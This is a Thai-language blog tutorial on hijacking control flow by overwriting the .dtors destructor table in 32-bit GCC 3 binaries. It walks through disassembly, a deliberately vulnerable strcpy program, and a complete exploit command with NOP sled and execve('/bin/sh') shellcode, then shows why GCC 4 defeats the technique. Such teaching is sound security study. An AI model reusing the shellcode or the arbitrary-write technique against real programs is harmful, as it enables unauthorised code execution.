ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา
หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (ex_08_1.c)
/* gcc-3.4 -o ex_08_1 ex_08_1.c */ #include <stdio.h> void test_ctor() __attribute__ ((constructor)); void test_dtor() __attribute__ ((destructor)); void test_ctor() { printf("In ctor\n"); } void test_dtor() { printf("In dtor\n"); } int main() { printf("In main\n"); printf("Address of test_ctor: %p\n", &test_ctor); printf("Address of test_dtor: %p\n", &test_dtor); return 0; }
และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้
$ ./ex_08_1 In ctor In main Address of test_ctor: 0x804834c Address of test_dtor: 0x8048360 In dtor
แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแกรมด้วย gcc
Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง objdump -f ex_08_1 เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม
โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำสั่ง objdump ดังนี้
$ objdump -s -j .ctors ex_08_1 ex_08_1: file format elf32-i386 Contents of section .ctors: 80494e0 ffffffff 4c830408 00000000 ....L....... $ objdump -s -j .dtors ex_08_1 ex_08_1: file format elf32-i386 Contents of section .dtors: 80494ec ffffffff 60830408 00000000 ....`.......
จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump
$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\>:$/,/^$/ 080482f4 <__do_global_dtors_aux>: 80482f4: 55 push %ebp 80482f5: 89 e5 mov %esp,%ebp 80482f7: 83 ec 08 sub $0x8,%esp 80482fa: 80 3d ec 95 04 08 00 cmpb $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง 8048301: 3e 74 0c je,pt 8048310 <__do_global_dtors_aux+0x1c> 8048304: eb 1c jmp 8048322 <__do_global_dtors_aux+0x2e> 8048306: 83 c0 04 add $0x4,%eax 8048309: a3 e8 95 04 08 mov %eax,0x80495e8 804830e: ff d2 call *%edx # เรียก destructor function 8048310: a1 e8 95 04 08 mov 0x80495e8,%eax # เอา address ที่เก็บ address ของ dtors ลง eax 8048315: 8b 10 mov (%eax),%edx # โหลด address ของ destructor function ลง edx 8048317: 85 d2 test %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0 8048319: 75 eb jne 8048306 <__do_global_dtors_aux+0x12> 804831b: c6 05 ec 95 04 08 01 movb $0x1,0x80495ec 8048322: c9 leave 8048323: c3 ret
จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้
เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (ex_08_2.c)
/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { char *ptr; char buf[512]; ptr = buf; strcpy(buf, argv[1]); strcpy(ptr, argv[2]); exit(0); }
จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี exit(0); ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly ret แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม
อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า argv[1] ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง argv[2] ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ
แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง strcpy ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)
ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป 0x218-0xc = 0x20c = 524 bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)
$ objdump -d -j .text ex_08_2 | awk /^.*main\>:$/,/^$/ 0804837c <main>: 804837c: 55 push %ebp 804837d: 89 e5 mov %esp,%ebp 804837f: 81 ec 28 02 00 00 sub $0x228,%esp 8048385: 83 e4 f0 and $0xfffffff0,%esp 8048388: b8 00 00 00 00 mov $0x0,%eax 804838d: 83 c0 0f add $0xf,%eax 8048390: 83 c0 0f add $0xf,%eax 8048393: c1 e8 04 shr $0x4,%eax 8048396: c1 e0 04 shl $0x4,%eax 8048399: 29 c4 sub %eax,%esp 804839b: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax 80483a1: 89 45 f4 mov %eax,-0xc(%ebp) 80483a4: 8b 45 0c mov 0xc(%ebp),%eax 80483a7: 83 c0 04 add $0x4,%eax 80483aa: 8b 00 mov (%eax),%eax 80483ac: 89 44 24 04 mov %eax,0x4(%esp) 80483b0: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax # buf อยู่ที่ ebp-0x218 80483b6: 89 04 24 mov %eax,(%esp) 80483b9: e8 1e ff ff ff call 80482dc# strcpy แรก 80483be: 8b 45 0c mov 0xc(%ebp),%eax 80483c1: 83 c0 08 add $0x8,%eax 80483c4: 8b 00 mov (%eax),%eax 80483c6: 89 44 24 04 mov %eax,0x4(%esp) 80483ca: 8b 45 f4 mov -0xc(%ebp),%eax # ptr อยู่ที่ ebp-0xc 80483cd: 89 04 24 mov %eax,(%esp) 80483d0: e8 07 ff ff ff call 80482dc # strcpy ที่สอง 80483d5: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80483dc: e8 0b ff ff ff call 80482ec ...
ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc
$ objdump -s -j .dtors ex_08_2 ex_08_2: file format elf32-i386 Contents of section .dtors: 80494b8 ffffffff 00000000 ........
สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป
$ ulimit -c unlimited $ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'` $ gdb -q ex_08_2 core ... Program terminated with signal 11, Segmentation fault. #0 0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) bt #0 0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6 # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address #1 0x080483d5 in main () (gdb) x/16x $ebp 0xbffff2e8: 0xbffff528 0x080483d5 0x41414141 0xbffff913 # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy) 0xbffff2f8: 0xbffff30c 0x00124985 0x00000008 0x00000000 0xbffff308: 0xbffff40c 0xbffff354 0x41414141 0x41414141 # buf เริ่มที่ 0xbffff310 0xbffff318: 0x41414141 0x41414141 0x41414141 0x41414141
จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้
$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'` $ exit
ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4
$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c $ objdump -s -j .dtors ex_08_2_gcc4 ex_08_2_gcc4: file format elf32-i386 Contents of section .dtors: 804952c ffffffff 00000000 ........ $ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\>:$/,/^$/ 08048370 <__do_global_dtors_aux>: 8048370: 55 push %ebp 8048371: 89 e5 mov %esp,%ebp 8048373: 53 push %ebx 8048374: 83 ec 04 sub $0x4,%esp 8048377: 80 3d 30 96 04 08 00 cmpb $0x0,0x8049630 804837e: 75 3f jne 80483bf <__do_global_dtors_aux+0x4f> 8048380: a1 34 96 04 08 mov 0x8049634,%eax 8048385: bb 30 95 04 08 mov $0x8049530,%ebx # เอา address สุดท้ายของ .dtor secion ลง ebx 804838a: 81 eb 2c 95 04 08 sub $0x804952c,%ebx # ลบกับ address แรก ของ .dtor section 8048390: c1 fb 02 sar $0x2,%ebx # แล้วหารด้วย 4 8048393: 83 eb 01 sub $0x1,%ebx # แล้วลบด้วย 1 จะได้จำนวนของ destructor function 8048396: 39 d8 cmp %ebx,%eax 8048398: 73 1e jae 80483b8 <__do_global_dtors_aux+0x48> 804839a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80483a0: 83 c0 01 add $0x1,%eax 80483a3: a3 34 96 04 08 mov %eax,0x8049634 80483a8: ff 14 85 2c 95 04 08 call *0x804952c(,%eax,4) 80483af: a1 34 96 04 08 mov 0x8049634,%eax 80483b4: 39 d8 cmp %ebx,%eax # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้ 80483b6: 72 e8 jb 80483a0 <__do_global_dtors_aux+0x30> 80483b8: c6 05 30 96 04 08 01 movb $0x1,0x8049630 80483bf: 83 c4 04 add $0x4,%esp 80483c2: 5b pop %ebx 80483c3: 5d pop %ebp 80483c4: c3 ret
เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป ยกเว้นในโปรแกรมนั้น จะมี destructor function อยู่แล้ว
Reference:
- Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)
No comments:
Post a Comment